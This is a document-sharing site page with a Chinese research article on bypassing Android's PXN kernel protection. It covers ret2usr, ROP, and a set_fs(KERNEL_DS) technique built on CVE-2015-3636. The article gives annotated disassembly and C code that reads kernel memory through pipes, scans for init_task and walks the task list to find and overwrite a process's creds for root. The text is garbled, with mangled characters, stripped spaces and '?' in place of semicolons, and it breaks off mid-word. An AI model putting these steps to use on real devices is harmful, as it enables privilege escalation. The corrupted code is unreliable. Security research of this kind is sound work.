Android-PXN繞過技術(shù)研究_第1頁
Android-PXN繞過技術(shù)研究_第2頁
Android-PXN繞過技術(shù)研究_第3頁
Android-PXN繞過技術(shù)研究_第4頁
Android-PXN繞過技術(shù)研究_第5頁
已閱讀5頁,還剩10頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

AndroidPXN繞過技術(shù)研究 ? 0x01PXN技術(shù)介紹PXN是PrivilegedeXecuteNever的縮寫,意為非特權(quán)執(zhí)行,簡單點(diǎn)說PXN是ARM平臺下的一項(xiàng)內(nèi)核保護(hù)措施,該措施的目的是阻止內(nèi)核執(zhí)行用戶態(tài)代碼,保證內(nèi)核的執(zhí)行流程不會被劫持到用戶空間。圖1PXNBit一級頁表的PXN位置1時(shí)即開啟了PXN保護(hù)。當(dāng)CPU運(yùn)行在PL1即內(nèi)核態(tài)時(shí)卻嘗試執(zhí)行用戶態(tài)代碼,就會產(chǎn)生Permissionfault錯(cuò)誤。也是就說,PXN只會阻止用戶態(tài)代碼以內(nèi)核權(quán)限執(zhí)行,并沒有阻止內(nèi)核去讀取用戶空間的數(shù)據(jù),這一點(diǎn)對于bypassPXN非常重要。0x02非PXN提權(quán)在沒有PXN的年代,攻擊者常采用ret2usr技術(shù)來獲取內(nèi)核的執(zhí)行權(quán)限,從而使用戶態(tài)代碼在內(nèi)核空間執(zhí)行,進(jìn)而可以調(diào)用內(nèi)核函數(shù)或者隨意修改內(nèi)核數(shù)據(jù)達(dá)到提權(quán)的目的。如圖2是ret2usr的示意:當(dāng)內(nèi)核存在漏洞時(shí),攻擊者的目標(biāo)就是要控制住某個(gè)內(nèi)核函數(shù)指針,有的漏洞可以直接控制內(nèi)核指針,有的要通過內(nèi)核寫或其它方式篡改掉可在用戶態(tài)觸發(fā)的內(nèi)核指針,比如常用的ptmx_fops表的fsync指針,然后將這個(gè)可控的內(nèi)核指針重定向到用戶態(tài)的ShellCode處。當(dāng)漏洞觸發(fā)時(shí)或在用戶態(tài)人為調(diào)用內(nèi)核函數(shù)時(shí),內(nèi)核的執(zhí)行流程將被重定向到ShellCode處,此時(shí)ShellCode運(yùn)行在內(nèi)核空間并可隨意訪問內(nèi)核函數(shù)或內(nèi)核數(shù)據(jù)。一般來說,直接修改進(jìn)程creds或通過commit_creds()這個(gè)內(nèi)核函數(shù)來修改都能達(dá)到提權(quán)的目的。圖2ret2usr示意通過commit_creds()函數(shù)來提權(quán)是較為傳統(tǒng)的方式,在ShellCode直接調(diào)用commit_creds(prepare_kernel_cred(0))即可提升本進(jìn)程權(quán)限,但這里存在一個(gè)問題,如何得到commit_creds()和prepare_kernel_cred()這兩個(gè)內(nèi)核函數(shù)地址。Android系統(tǒng)的碎片化導(dǎo)致這兩個(gè)函數(shù)的地址不是固定的,如果一定要獲取,就要從/proc/kallsyms文件中讀取內(nèi)核符號表,然而讀取該文件需要Root權(quán)限。所以在Android平臺通過commit_creds()函數(shù)來提權(quán)的方法通常不被采用。在Android下的ret2usr中,直接修改進(jìn)程creds似乎使用的較多一些。修改creds面臨的首要問題就是如何定位creds在內(nèi)存中的位置。creds結(jié)構(gòu)存儲在進(jìn)程的task_struct結(jié)構(gòu)中,task_struct結(jié)構(gòu)又可以由thread_info結(jié)構(gòu)的task成員獲取,所以能找到進(jìn)程thread_info的位置,就能進(jìn)一步獲取creds的位置。幸運(yùn)的是,當(dāng)ShellCode運(yùn)行在內(nèi)核空間時(shí),獲取當(dāng)前進(jìn)程的thread_info并不困難。內(nèi)核的thread_union結(jié)構(gòu)規(guī)定了thread_info和當(dāng)前進(jìn)程的內(nèi)核棧是緊鄰著存放的,通過內(nèi)核棧的sp指針即可獲取thread_info。如下curren_thread_info()函數(shù)就可unionthread_union{structthread_infothread_info?unsignedlongstack[THREAD_SIZE/sizeof(long)]?}?staticinlinestructthread_info*current_thread_info(void){registerunsignedlongspasm("sp")?return(structthread_info*)(sp&~(THREAD_SIZE-1))?}圖3thread_info位置獲取進(jìn)程的thread_info。因?yàn)镾hellCode運(yùn)行在內(nèi)核空間,所以此時(shí)獲取到的棧指針寄存器sp就是內(nèi)核棧的棧指針,在32位的內(nèi)核中,屏蔽掉sp的低13位就能獲取到thread_info。內(nèi)核也是采用這種方法來獲取進(jìn)程thread_info信息的。找到thread_info后,就能進(jìn)一步找creds,然后直接對creds的內(nèi)存做修改即可提權(quán)。然而,目前大多數(shù)的Android設(shè)備都開啟了PXN保護(hù),這讓ret2usr攻擊不再有效……0x03bypassPXN常規(guī)方法PXN的設(shè)計(jì)初衷就是阻斷ret2usr這類攻擊手段,讓內(nèi)核只執(zhí)行內(nèi)核空間的代碼。類似于?《Linux內(nèi)核ROP姿勢詳解(一)》?一文中采用ROPbypassSMEP的方法,ARM平臺下bypassPXN也可以采用ROP技術(shù)。?《PXN防護(hù)技術(shù)的研究與繞過》一文已?經(jīng)詳細(xì)講解了構(gòu)建內(nèi)核ROP來bypassPXN的步驟,這里不再重復(fù)原文內(nèi)容,大概介紹原文中未涉及到的小細(xì)節(jié)。通過該文可知,bypassPXN時(shí)內(nèi)核ROP主要完成三部分工作:泄漏內(nèi)核sp值,計(jì)算addr_limit地址和patchaddr_limit。這個(gè)過程的最終目的是patchaddr_limit,讓用戶態(tài)可以自由訪問內(nèi)核空間,然后修改內(nèi)核creds結(jié)構(gòu)來提權(quán)??梢钥闯鲂孤﹥?nèi)核sp值不僅僅用于找到addr_limit地址,更是用于提權(quán)時(shí)定位creds結(jié)構(gòu)在內(nèi)存中的位置。用戶態(tài)雖然可以自由訪問內(nèi)核空間,但并不能以指針的方式直接訪問內(nèi)核,要以內(nèi)核可接受的通信方式來間接訪問,比如使用管道pipe來通信。之后對creds的每一次修改都要通過pipewrite的方式。有別于ret2usr攻擊,這種方式的提權(quán)操作運(yùn)行在用戶空間,而ret2usr中的ShellCode運(yùn)行在內(nèi)核態(tài),這是這兩種方式的本質(zhì)區(qū)別。構(gòu)建內(nèi)核ROP雖然可以bypassPXN,但這種方法仍然存在不少弊端。第一,ROP鏈的執(zhí)行很難兼顧到內(nèi)核棧的平衡,這為內(nèi)核的后續(xù)運(yùn)行埋下了不安定因素?第二,構(gòu)建ROP鏈時(shí)使用的gadgets尋找起來比較麻煩?最后,構(gòu)建好的ROP鏈很難做到通用,原因仍是Android的碎片化。0x04bypassPXN新方法針對上述缺陷,360冰刃實(shí)驗(yàn)室的安全研究員趙建強(qiáng)、陳耿佳和潘劍鋒在mosec2016中分享了一些新方法。在參鑒會議?ppt?的基礎(chǔ)上,筆者實(shí)踐了其中的一些方法。方法一:bypassPXNwithset_fs(KERNEL_DS)第一種方法也是筆者實(shí)踐的方法,這里還是以2015年最火的漏洞CVE-2015-3636來講述。一切都要從set_fs()這個(gè)內(nèi)核函數(shù)說起。set_fs()函數(shù)原型如下,可見該函數(shù)就是用來修改當(dāng)前進(jìn)程的addr_limit值。addr_limit值限定了用戶態(tài)程序能夠訪問的地址空間,那么內(nèi)核為什么要使用這樣的函數(shù)呢?這主要是因staticinlinevoidset_fs(mm_segment_tfs){current_thread_info()->addr_limit=fs?modify_domain(DOMAIN_KERNEL,fs?DOMAIN_CLIENT:DOMAIN_MANAGER)?}為內(nèi)核要使用系統(tǒng)調(diào)用。系統(tǒng)調(diào)用是設(shè)計(jì)給用戶態(tài)程序用的,當(dāng)用戶態(tài)去使用系統(tǒng)調(diào)用時(shí)會受地址空間的限制,有時(shí)內(nèi)核也要去使用系統(tǒng)調(diào)用,比如一些文件操作,當(dāng)內(nèi)核使用的時(shí)候就要去掉地址空間的限制,一般調(diào)用set_fs(KERNEL_DS)更改addr_limit值去掉空間限制,使用完系統(tǒng)調(diào)用后還要將地址空間的限制還原,這時(shí)調(diào)用set_fs(oldfs)即可。set_fs()這個(gè)函數(shù)較為危險(xiǎn),所以內(nèi)核在使用的時(shí)候總是以set_fs(KERNEL_DS)和set_fs(oldfs)這兩次調(diào)用成對出現(xiàn)。所以如果能以漏洞的方式繞過set_fs(oldfs)的執(zhí)行,內(nèi)核空間將一直對用戶態(tài)打開,這樣也就繞過了PXN。首先,我們需要在內(nèi)核代碼中尋找set_fs()被調(diào)用的模塊,然后再從其中篩選出便于利用的部分。那應(yīng)該怎樣去篩選呢?前文已表明,繞過set_fs(oldfs)的執(zhí)行就算是繞過PXN了,所以如果能在set_fs(KERNEL_DS)和set_fs(oldfs)這兩個(gè)指令之間找到一個(gè)可控的函數(shù)指針,就極有可能繞過set_fs(oldfs)執(zhí)行,如下kernel_setsockopt()函數(shù)所示。筆者按照這樣的方法在3.4的內(nèi)核中尋找一番,確實(shí)找到了很多這樣的模塊。intkernel_setsockopt(structsocket*sock,intlevel,intoptname,char*optval,unsignedintoptlen){mm_segment_toldfs=get_fs()?char__user*uoptval?interr?uoptval=(char__user__force*)optval?set_fs(KERNEL_DS)?if(level==SOL_SOCKET)err=sock_setsockopt(sock,level,optname,uoptval,optlen)?elseerr=sock->ops->setsockopt(sock,level,optname,uoptval,optlen)?set_fs(oldfs)?returnerr?}github?上已有3636在非PXN下的利用代碼。其中sk->sk_prot->close指針和R0,R1寄存器都是可以控制的。所以我們控制sk->sk_prot->close指針跳轉(zhuǎn)到kernel_setsockopt()函數(shù)地址處,此時(shí)的R0即是kernel_setsockopt()的第一個(gè)參數(shù)sock,所以sock->ops->setsockopt這個(gè)函數(shù)指針就可以通過R0+offset來控制。這個(gè)offset的具體值可以查看kernel_setsockopt()的匯編碼來確定。匯編碼如下表所示。在編碼實(shí)現(xiàn)的過程中,偏移可能無法一次性確定下來,而且實(shí)體ROM:C084AAE0kernel_setsockopt_?CODEXREF:generic_ip_connect_+124pROM:C084AAE0ROM:C084AAE0var_20=-0x20ROM:C084AAE0arg_0=4ROM:C084AAE0ROM:C084AAE0MOVR12,SPROM:C084AAE4STMFDSP!,{R4,R5,R11,R12,LR,PC}ROM:C084AAE8SUBR11,R12,#4ROM:C084AAECSUBSP,SP,#8ROM:C084AAF0STRLR,[SP,#0x1C+var_20]!ROM:C084AAF4BL__gnu_mcount_nc_ROM:C084AAF8MOVR12,SPROM:C084AAFCBICR4,R12,#0x1FC0ROM:C084AB00CMPR1,#1ROM:C084AB04BICR4,R4,#0x3FROM:C084AB08MOVR12,#0ROM:C084AB0C?LDRR5,[R4,#8];set_fs(KERNEL_DS)指令ROM:C084AB10STRR12,[R4,#8]ROM:C084AB14BEQloc_C084AB38ROM:C084AB18?LDRR12,[R0,#0x18];在R0+0x18放置用戶態(tài)地址aROM:C084AB1CLDRLR,[R11,#arg_0]ROM:C084AB20STRLR,[SP,#0x20+var_20]ROM:C084AB24?LDRR12,[R12,#0x30]??;在用戶態(tài)地址a+0x30處放置;要跳轉(zhuǎn)到目標(biāo)地址C084AB30ROM:C084AB28?BLXR12ROM:C084AB2CROM:C084AB2Cloc_C084AB2C?CODEXREF:kernel_setsockopt_+64jROM:C084AB2C?STRR5,[R4,#8];set_fs(oldfs)指令ROM:?C084AB30?SUBSP,R11,#0x14ROM:C084AB34LDMFDSP,{R4,R5,R11,SP,PC}ROM:C084AB38?---------------------------------------------------------------------------ROM:C084AB38ROM:C084AB38loc_C084AB38?CODEXREF:kernel_setsockopt_+34jROM:C084AB38LDRLR,[R11,#arg_0]ROM:C084AB3CSTRLR,[SP,#0x20+var_20]ROM:C084AB40BLsock_setsockopt_ROM:C084AB44Bloc_C084AB2CROM:C084AB44?Endoffunctionkernel_setsockopt_機(jī)的內(nèi)核調(diào)試比較麻煩,這時(shí)內(nèi)核panic產(chǎn)生的寄存器上下文信息就顯得非常有幫助了??梢詮膌ast_kmsg中查看相應(yīng)的寄存器值來判斷覆蓋sk結(jié)構(gòu)中的偏移是否正確。在順利繞過set_fs(oldfs)指令后,此時(shí)PXN就已經(jīng)被繞過,用戶態(tài)程序可以隨意訪問內(nèi)核地址空間,可以用如下的一段代碼驗(yàn)證一下,返回0即表示讀取內(nèi)核地址成功。intread_at_address_pipe(void*address,void*buf,ssize_tlen){intret=1?intpipes[2]?if(pipe(pipes))return1?if(write(pipes[1],address,len)!=len)gotoend?if(read(pipes[0],buf,len)!=len)gotoend?ret=0?end:close(pipes[1])?close(pipes[0])?returnret?}void*address?address=0xc1032000?void*buf?buf=(void*)malloc(100*sizeof(void))?intret2=read_at_address_pipe(address,buf,10)?printf("ret=%d\n",ret2)?圖4訪問內(nèi)核提權(quán)的最終操作就是要修改進(jìn)程的creds結(jié)構(gòu),在bypassPXN的常規(guī)方法中,是通過泄露內(nèi)核sp來定位creds的,但這個(gè)過程中并沒有泄露內(nèi)核sp,那該怎樣去找提權(quán)進(jìn)程的creds呢?筆者本也不太明白,后來看雪網(wǎng)友風(fēng)間仁給予了一些思路:可以先用特征碼搜索內(nèi)核空間init_task進(jìn)程的?task_sturct結(jié)?構(gòu),然后通過該結(jié)構(gòu)中的tasks鏈表去遍歷內(nèi)核空間所有進(jìn)程的task_struct結(jié)構(gòu),在遍歷的過程中通過進(jìn)程名就能找到提權(quán)進(jìn)程的task_struct,之后就能確認(rèn)提權(quán)進(jìn)程creds的位置。遍歷過程如下圖所示。圖5task_struct鏈表首先,我們需要在內(nèi)核空間尋找init_task進(jìn)程的task_struct結(jié)構(gòu)。這里存在一個(gè)問題,為什么不能在內(nèi)核空間直接搜索提權(quán)進(jìn)程的task_struct呢?這可能并非不可,而是考慮到搜索的效率。init_task進(jìn)程的task_struct是靜態(tài)創(chuàng)建的,分布在內(nèi)核中相對固定區(qū)域,這個(gè)區(qū)域值可以從/proc/iomem中的kerneldata字段獲取,而其他進(jìn)程都是由init進(jìn)程fork而來,task_struct結(jié)構(gòu)是動態(tài)分配在內(nèi)核堆區(qū)域。相比較而言,kerneldata區(qū)范圍較小,搜索起來會快很多。尋找init_task位置的代碼如下所示,for循環(huán)中的兩個(gè)硬編碼可以通過讀/proc/iomem來消除掉,這里主要是利用了?task_struct?前三個(gè)成員的特征來搜索內(nèi)存。搜索完畢后,就可以for(i=0xc1032000?i<0xc13af673?i+=4){read_at_address_pipe((void*)i,&init_info,sizeof(init_info))?if(((int)init_info.stack&0x1ff)==0&&init_info.usage==0x2&&init_info.flags==0x200000){printf("++foundswapper/0task_struct_address:%lp\n",i)?init_task_address=(void*)i?printf("++init_task_address=%x\n",init_task_address)?break?}}for(i=0?i<0x400?i+=4){read_at_address_pipe((void*)(init_task_address+i),pushable_tasks_value,sizeof(*pushable_tasks_value))?printf("++pushable_tasks_value=%x\n",*pushable_tasks_value)?if(*pushable_tasks_value==0x8c){init_head_address=(void*)(init_task_address+i-8)?//inithead在該值的前兩個(gè)地址處,所以要減去8printf("++init_head_address=%x\n",init_head_address)?//read_at_address_pipe(init_head_address,&init_head_pr,sizeof(init_head_pr))?//將inithead地址處的值讀出,這個(gè)值應(yīng)該是個(gè)指針指向init_head處//printf("++init_head_pr=%x\n",init_head_pr)?//所以還要在讀一次read_at_address_pipe(init_head_address,&init_head,sizeof(init_head))?//這一次讀出的是內(nèi)核的鏈表頭printf("++inithead=%x\n",init_head)?printf("++initheadnext=%x\n",init_head.next)?printf("++initheadprev=%x\n",init_head.prev)?break?}}獲取init_task進(jìn)程的task_struct結(jié)構(gòu)在內(nèi)存中的位置init_task_address,獲取了位置后,可以通過一定的偏移位置獲取tasks鏈表頭,也可以使用上述代碼遍歷來獲取,這里使用了一個(gè)小技巧,tasks鏈表頭下面的pushable_tasks變量的第一個(gè)值prio在手機(jī)設(shè)備中的值總是為0x8c,利用這個(gè)就可以在循環(huán)的過程中找到tasks位置。之后就可以利用tasks這個(gè)鏈表頭,去遍歷內(nèi)核鏈表了。因?yàn)槊恳淮螌?nèi)核的訪問都要通過piperead方式,而且在遍歷過程中,我們還要去確當(dāng)前遍歷到的tast_struct結(jié)構(gòu)是否屬于提權(quán)進(jìn)程,所以遍歷內(nèi)核鏈表的方法就有別與內(nèi)核中的鏈表遍歷方法。遍歷過程如下所示。需要注意的是,判定遍歷到的task_struct時(shí)利用到了cpu_timers這種通用的定位方法,這是因?yàn)閏pu_timers的netx與prev是相同的,所以這可以作為一個(gè)特征,再用comm成員判斷一下進(jìn)程名即可確認(rèn)是否為提權(quán)進(jìn)程。for(?pos->next!=init_head.next?){printf("++posvalue=%x\n",*pos)?for(m=0?m<0x400?m+=4){read_at_address_pipe((void*)(offset+m),task,sizeof(*task))?if(is_cpu_timer_valid(&task->cpu_timers[0])&&is_cpu_timer_valid(&task->cpu_timers[1])&&is_cpu_timer_valid(&task->cpu_timers[2])&&task->real_cred==task->cred){printf("++comm=%s\n",task->comm)?if(!strcmp(task->comm,"poc")){printf("++getprocesspoc!\n")?self_cred=task->cred?}}}offset=pos->next?read_at_address_pipe(pos->next,pos,sizeof(*pos))?}當(dāng)找到提權(quán)進(jìn)程creds時(shí),接下來的工作就是要對其修改,寫內(nèi)核的操作依然是通過管道pipe的方式。至此,通過遍歷內(nèi)核task_struct結(jié)構(gòu)來修改提權(quán)進(jìn)程creds的操作就完成了。圖6bypa

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論